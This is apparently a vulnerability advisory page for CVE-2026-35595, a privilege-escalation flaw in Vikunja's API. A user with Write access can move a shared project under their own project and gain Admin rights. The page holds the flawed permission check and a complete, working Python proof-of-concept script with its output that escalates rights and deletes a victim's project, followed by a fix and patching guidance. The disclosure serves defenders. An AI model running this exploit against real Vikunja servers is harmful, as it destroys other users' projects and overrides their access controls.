CVE-2026-35595 is a high-severity (CVSS 8.3) Improper Privilege Management vulnerability in code.vikunja.io/api. A fix is available for code.vikunja.io/api — see the affected versions and patch details below.
Vikunja Affected by Privilege Escalation via Project Reparenting
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-35595.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
code.vikunja.io/apiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access.
Details
The CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain.
When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project.
if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
newProject := &Project{ID: p.ParentProjectID}
can, err := newProject.CanWrite(s, a) // Only checks Write, not Admin
if err != nil {
return false, err
}
if !can {
return false, ErrGenericForbidden{}
}
}
Proof of Concept
Tested on Vikunja v2.2.2.
1. victim creates "Parent Project" (id=3)
2. victim creates "Secret Child" (id=4) under Parent Project
3. victim shares Parent Project with attacker at Write level (permission=1)
-> attacker inherits Write on Secret Child (no direct share)
4. attacker creates own "Attacker Root" project (id=5)
5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden
6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parent_project_id":5}
-> 200 OK (reparenting succeeds, only requires Write)
7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK
-> Project deleted. victim gets 404.
import requests
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def login(u, p):
return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
victim_token = login("victim", "Victim123!")
attacker_token = login("attacker", "Attacker123!")
# victim creates parent -> child project hierarchy
parent = requests.put(f"{API}/projects", headers=h(victim_token),
json={"title": "Parent Project"}).json()
child = requests.put(f"{API}/projects", headers=h(victim_token),
json={"title": "Secret Child", "parent_project_id": parent["id"]}).json()
# victim shares parent with attacker at Write (attacker inherits Write on child)
requests.put(f"{API}/projects/{parent['id']}/users", headers=h(victim_token),
json={"username": "attacker", "permission": 1})
# attacker creates own root project
own = requests.put(f"{API}/projects", headers=h(attacker_token),
json={"title": "Attacker Root"}).json()
# before: attacker cannot delete child
r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token))
print(f"DELETE before reparent: {r.status_code}") # 403
# exploit: reparent child under attacker's project
r = requests.post(f"{API}/projects/{child['id']}", headers=h(attacker_token),
json={"title": "Secret Child", "parent_project_id": own["id"]})
print(f"Reparent: {r.status_code}") # 200
# after: attacker can now delete child
r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token))
print(f"DELETE after reparent: {r.status_code}") # 200 - escalated to Admin
# victim lost access
r = requests.get(f"{API}/projects/{child['id']}", headers=h(victim_token))
print(f"Victim access: {r.status_code}") # 404 - project gone
Output:
DELETE before reparent: 403
Reparent: 200
DELETE after reparent: 200
Victim access: 404
The attacker escalated from inherited Write to Admin by reparenting, then deleted the victim's project.
Impact
Any user with Write permission on a shared project can escalate to full Admin by moving the project under their own project tree via a single API call. After escalation, the attacker can delete the project (destroying all tasks, attachments, and history), remove other users' access, and manage sharing settings. This affects any project where Write access has been shared with collaborators.
Recommended Fix
Require Admin permission instead of Write when changing parent_project_id:
if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
newProject := &Project{ID: p.ParentProjectID}
can, err := newProject.IsAdmin(s, a)
if err != nil {
return false, err
}
if !can {
return false, ErrGenericForbidden{}
}
canAdmin, err := p.IsAdmin(s, a)
if err != nil {
return false, err
}
if !canAdmin {
return false, ErrGenericForbidden{}
}
}
Found and reported by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.vikunja.io/api | all versions | 2.3.0go get code.vikunja.io/api@v2.3.0 |
Affected Products
vikunjavikunjaDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update code.vikunja.io/api to 2.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-35595 is resolved across your whole dependency graph.
Workarounds
Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.
Frequently Asked Questions
Is CVE-2026-35595 in your dependencies?
Find it across Go, including transitive dependencies.